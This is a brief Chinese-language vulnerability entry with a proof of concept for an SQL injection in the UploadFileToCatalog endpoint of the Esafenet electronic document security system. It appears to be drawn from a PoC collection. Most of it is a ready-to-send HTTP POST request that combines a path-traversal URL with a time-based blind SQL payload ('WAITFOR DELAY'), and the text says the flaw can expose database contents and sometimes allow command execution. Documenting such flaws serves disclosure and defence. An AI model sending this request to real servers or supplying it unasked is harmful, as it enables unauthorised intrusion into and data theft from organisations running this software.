Description
亿赛通电子文档安全系统 UploadFileToCatalog 存在SQL注入漏洞，攻击者可以获取数据库信息，特别情况下可以执行系统命令。
亿赛通电子文档安全系统 UploadFileToCatalog SQL注入漏洞
PoC
POST /CDGServer3/js/../policy/UploadFileToCatalog?fromurl=../user/dataSearch.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
id=1';WAITFOR DELAY '0:0:3'--
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.